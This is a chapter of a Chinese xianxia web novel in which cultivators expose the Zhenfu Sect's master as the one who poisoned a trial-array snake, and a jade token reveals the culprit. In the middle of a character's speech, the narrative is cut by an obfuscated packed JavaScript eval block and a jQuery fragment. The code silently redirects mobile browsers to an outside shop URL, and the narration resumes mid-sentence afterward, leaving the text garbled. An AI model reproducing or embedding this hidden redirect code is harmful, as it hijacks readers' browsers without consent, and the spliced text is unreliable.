宋其逍伸手,泛着淡淡黑气的蛇鳞躺在他手心。
“不知在座的各位,可有谁认识我手里的东西?”
柳一树瞧见,当即明白宋其逍的意思,附和道:“认识,这枚蛇鳞是我在第二关阵法所捡,除此之外,还是伤我云清宗弟子及祭祀台上那数千冤魂的证据!”
“那条蛇不是宗门大比里的考核吗?”
“柳师兄,你说这话是什么意思?难道你是说这阵法有问题?”
众人疑惑不解,徐骁行站起身来,瞥向阵符宗众人,把残酷的真相撕开。
“是,那些死在阵法之中,在祭祀台上只有的灵位没有尸首的修者们,并不是因为自身修为不敌响魔音蛇而死,是有人故意让响魔音蛇沾染上冥气,害死了他们!”
他的话引起轩然大波。
“他们不是死于响魔音蛇之口?是人被故意害死的!这个人是谁!他为什么要这么做!”
“我师妹……才十五岁,一心想名扬天下,救济于民,结果落得连尸首都没有的下场!原来不是我没有保护她,是有人害死了她!”
“怎么会这样?意思是他们原来不用死的,可是……已经死了这么多人了呀……”
此刻耳边都是声声泣血的哭诉,饶是见过祭祀台上那数千灵位之人,眼眸尽数蒙上一层水雾。
“那凶手呢!害我师兄的凶手究竟是谁!”
“在云清宗死了这么多人!难道你们没有找到害死我师兄的真凶吗!”
“五大宗门都在云清宗还能出这样的事,你们有何颜面称作是五大宗门!”
“一日找不到凶手,我们不会放过五大宗门的!”
“没错!五大宗门应该把真相凶手一起找出来,负责那些死去的人如何能瞑目!如何能瞑目啊!”
对于五大宗门的声讨,一呼百应。
玄清长老连忙道:“此事,已有线索,还请各位少安毋躁,我云清宗保证,一定还各位一个真相!”
他看向宋其逍,他点头轻声道:“师姐,出来吧。”
“是我来迟了。”
一道陌生的女子声音从众人身后款款走来,一袭绿衣,清丽动人,花信年华。
真玉长老一眼就认出来这名清艳女子是谁,“小四?你怎么这么快就回来了?”
云清宗弟子见此,连忙朝这名女子作揖,“青璃长老。”
柳一树朝乌遥几人解释:“这是云清宗另一位长老师叔,号青璃,排行第四,修为在修界可排得进前五,云清宗内修为仅在五师叔之下,青璃师叔三个月前独自带人前往修界五州除恶鬼,这个时候回来莫不是找到了什么证据……”
青璃朝玄清长老等人作揖:“嗯,听闻宗门大比出了点事,受小五所托,去了一趟西州中心城,这不找到点线索,就连忙赶回来了。”
“哦,找到了什么重要线索?”
玄清长老语气听不出什么特别情绪,可都问在了点子上。
青璃手上变出一本名册,掷于半空中,足以让云清池里所有人都看见。
“这是六日前出入西州中心城的名册,除了所处西州之内的宗门之外,这上面还多了一个不应该出现在西州的大宗门。”
有人眼尖,一下就看见青璃所说的大宗门是哪个宗门。
“是阵符宗!”
“阵符宗谷袁,朱狡,还有……文笙!”
徐骁行瞅见上面的名单,当即掏出他的本命法器,缱之鼎。
他横眉怒目:“六日前,各大宗门都在宗内准备宗门大比,你阵符宗从北州千里迢迢赶去西州!定是为了去抓那响魔音蛇,还说不是你们阵符宗搞的鬼!今日我就让你们阵符宗给我炼器宗死去的弟子偿命!”
徐广庭也拿出无垠鼎,挡在江雪净面前,“炼器宗弟子听令!将入口给我围起来!阵符宗的一个都不准放过!”
炼器宗弟子:“是!”
宋其逍和云清宗的长老们没有阻拦炼器宗的所作所为,玄清长老也只是出声喝斥不准动手而已。
阵符宗长老们没想到名单上会有自己宗门的弟子,见这情势都对着阵符宗而来。
慌张否认道:“不可能!这是假的,定是有人想诬陷我阵符宗!”
“你说我手上这份证据是假的?那这个呢?”青璃又往半空之中放了一份死亡卷宗,上面的名字赫然写着:谷袁。
底下那抹鲜红拓印得是西州中心城城主印,清清楚楚,明明白白。
青璃手执着一把青玉扇,沉声道:“人是在西州中心城内一座偏僻小院发现,报案的人是当地珍宝阁的小二,卷宗上的拓印出自西州中心城城主,他定是亲眼看见你们阵符宗的这两个弟子曾去过西州才会拓印,这还能有假吗?”
宗门大比开始之际,阵符宗长老们只知道谷袁死了,却不知道他是怎么死的,彼此都默认他是死于北州青楼的色淫之中。
谷袁和朱狡本就是修界有名的贪财好色之徒,平日他们这些长老也根本管不了这两个流氓,更遑论他们是宗主之徒,都没有说教的责任,也懒得生事。
可如今谷袁的死成为阵符宗害死那数千冤魂的证据,再加上青璃的那份卷宗,明确说明谷袁是死在了西州。
如此关键的时候跑去西州,任谁都会察觉出不对劲的地方。
但为了阵符宗他们也只能硬着头皮狡辩,“不可能,谷袁……明明是死在了北州,怎么可能会死在西州呢?”
青璃的笑意有些嘲讽,“还不承认,那这份供词又是怎么回事?”
她这一提醒,他们才发现上面还有一份来自阵符宗朱狡的供词,旁边还注了字:神志不清,疑有疯症。
正好对应阵符宗宗主的两个亲传弟子一个死一个疯的传闻。
宋其逍眼神冰冷,不见往日和善:“响魔音蛇生长在三界边境,离这最近只有西州,关键时刻赵宗主的亲传弟子去了西州,是谁派他们去的?赵宗主你想来比我清楚。”
“还有那日的阵法乃阵符宗所出,也只有阵符宗才能将响魔音蛇放进阵法之中,铁证如山,可容不得你抵赖!”
宋其逍振振有词,阵符宗长老们也不知道该如何辩解了,看着赵甲急道:“宗主,谷袁和朱狡可是你的亲传弟子,这到底是怎么回事啊?你为什么要派他们去西州啊?”
“吵什么!”
赵甲阴沉着脸吼完,瞥了眼身旁的黑衣人,对着众人道:“他们曾去过西州能证明什么?你们有什么证据能证明是我那两个弟子抓的响魔音蛇?又有什么证据证明是我派他们去的?与我何干?”
乌遥轻嗤了一声,那只千纸鹤飞入半空中,众人齐齐看向她。
“不巧,在下与珍宝阁的阁主有几分情意,证据我们也有,受……”
对上宋其逍看着自己的目光,随即移开眼,轻纱跟着飘动,“受柳师兄所托,这信中内容乃珍宝阁阁主亲手所写,是她的人发现谷袁死在西州中心城的一处院子,同时发现了晕倒的朱狡,而且他们还委托珍宝阁打听过响魔音蛇的踪迹,阵符宗若是不信,正好珍宝阁的那小二也来了,不如请他出来,我们一一对峙,如何?”
柳一树挥手示意南玉湖与薛慈,“将人带上来。”
他们带着渌水来到众人面前。
他不卑不亢道:“各位道长好,我是珍宝阁的小二渌水,信上阁主所写的内容皆是我亲眼所见,那两位道长也是我亲自接待的,各位若是不信,可以教我用真假术辨真假。”
修为不高者用真假术,根本不用等天雷落下,一旦说假便会遭到反噬,严重者会神志不清,甚至变成痴儿,付出如此代价,岂能有假?
徐骁行一听,更加笃定阵法一事是阵符宗所为,“哼!你的两个亲传弟子关键之际去西州打探响魔音蛇的踪迹,除了你,还有谁能派遣他们,还不承认你就是害死我宗门弟子的凶手!”
万灸宗大长老仔细看过信中内容道:“万灸宗常年与珍宝阁有交易往来,我认识他,他就是珍宝阁的小二,那信上的内容也确实是出自珍宝阁阁主的手笔,此事我以万灸宗名誉担保,珍宝阁及这位小道友所言不假。”
乌遥神情微变,没想到万灸宗会出言保证,看来渌水不用受真假术的折磨了。
玄清长老看清信上的内容,加上万灸宗也确认信中内容无假,声厉惧色道:“赵宗主,你的两个亲传弟子为何会无缘无故出现在西州?这响魔音蛇究竟是你的弟子自己所为!还是说受你指使?”
徐骁行冷眼睨着他,肯定道:“一定是他,不仅如此,他那两个弟子定是他专门派去与幽冥界传信的人!那灵珠也定是从他们阵符宗流传出去的!说不定三个月前无忌海结界破裂和恶鬼出逃也有他的手笔!”
契兽宗见此情形,调转风头质问道:“赵宗主,你快说啊,这到底是怎么回事!”
赵甲继续矢口否认,“我这两个弟子生性贪财好色,加上宗门大比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673068|207407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事宜颇多,他们去哪我根本无暇顾及,至于灵珠与那响魔音蛇,我也未曾听过见过!更遑论做过!无忌海结界及恶鬼之事更是无稽之谈!”
宋其逍冷声道:“好一个无所顾忌,好一个未曾听过见过,赵甲,你分明是不见棺材不落泪!”
他手指落在额间,一道比月色更加耀人的白光被牵引出来,白光渐渐凝作一块纯白无瑕的玉珏,宛若一条腹中一点黑,尾鳍如扇的鱼。
这是另一半的阴阳令,与她曾经那块漆黑发亮的阴阳令截然相反,熟悉的气息让乌遥不由自主被吸引了目光。
宋其逍拿着阴阳令,“阵法的响魔音蛇被人故意渡了冥气,致使它兽性大发,虐杀数千弟子,而阴阳令,可以找出在座的各位,是谁给它渡了冥气,届时谁都别想抵赖!”
他朝真玉长老示意,“白扬,你先委屈一下。”
白扬冷不丁地被提及,懵了一下,“什么?”
没等他反应过来,真玉长老拉着白扬,设了一层结界与他一道困在里面。
江雪净疑惑不解,“为何要把白扬关在结界里。”
徐广庭手中无垠鼎的炎龙之火已经腾腾烧起,“白扬是幽冥族,身上有冥气,宋师叔怕阴阳令会被干扰,被人利用吧。”
“什么?”江雪净吃惊,“可他和我说他是人界大周朝的皇亲贵族啊。”
千万枝闻言,顿了下,无语地看向白扬。
徐广庭也盯着白扬,咬牙道:“白扬这个撒谎精!他骗你的!”
“喂,放开我!”
白扬甩开真玉长老的手,往乌遥那走去,却被现形的结界弹了回来,“什么意思!干嘛把我困在这里!”
乌遥手心对准宋其逍,万景落花的符纹已完成一半,她知道宋其逍想做什么,也不会对白扬动手,但其他人未必。
她沉声寻一个保证道:“什么意思?”
宋其逍纹丝不动,“你放心,他不会有事的,眼下我们要找出凶手,白扬的身份不宜在这,你很清楚,我不会骗你,你相信我,好吗?”
他这般说完,乌遥万景落花的符纹已完成了,只等念咒。
柳一树也连忙说道:“乌遥,五师叔不会骗你的!”
乌遥睨了柳一树一眼,对着宋其逍道:“若是白扬因为你的决定而受伤,我会让你付出代价。”
宋其逍立即道:“我保证,白扬不会受伤,所以你能帮我一个忙吗?”
乌遥反问道:“你需要我,我就帮你,凭什么?”
宋其逍以迅雷不掩耳之势,凑近乌遥,低声在她耳边道,“凶手是谁,你也知道,这件事情也只有你能做,你也不想再次有人受伤吧?我答应你,我会让江雪净平安离开。”
耳边热气呼呼,全是他的气息,她不适应地捂着耳朵,往后退了几步,瞪了他一眼,又是这句话!
她气道:“不用,我自有办法。”
宋其逍先斩后奏,当着众人的面夸赞道:“乌遥姑娘心怀大义,又是这次宗门大比第一,阵法里的响魔音蛇也正是乌遥姑娘所斩杀,定然十分熟悉它的气息,不如乌遥姑娘帮大家一个忙,与我一齐找出这个凶手如何?”
柳一树不知道宋其逍要乌遥帮什么忙,但宋其逍都如此说了,肯定有他的道理。
他殷切地看着她,江雪净和千万枝也望着她。
徐广庭专门回过头道:“乌遥,帮个忙吧。”
一个个眼神殷切,不容她拒绝,乌遥咬牙切齿道:“少废话。”
宋其逍眉宇间带笑,将阴阳令掷于半空之中后,神情骤然变成另一副沉稳模样。
他双手翻转,灵力汇作一团,将其渡进阴阳令内,念道:“阳之令,现!”
阴阳令登时迸发出一道白光,浅浅一道,并不耀眼。
他操控着阴阳令,接触过蛇鳞的冥气气息后,那道白光流转在每个人身上。
借此时间,宋其逍低声与乌遥商议,语气带着一丝低微,“万景落花等会儿你别往我身上使,好吗?”
乌遥冷淡地看了他一眼,不语,只是盯着阴阳令的反应,手中的万景落花也跟着轮番扫过众人,直到最后的阵符宗。
徐骁行神情厉色,阵符宗的长老们一个个紧张到冒汗。
众人齐齐望向阵符宗众人所在的方向。
忽然,阴阳令乍然大亮,只在一人头顶上盘桓,散发出与蛇鳞一般的冥气气息。
“是你!”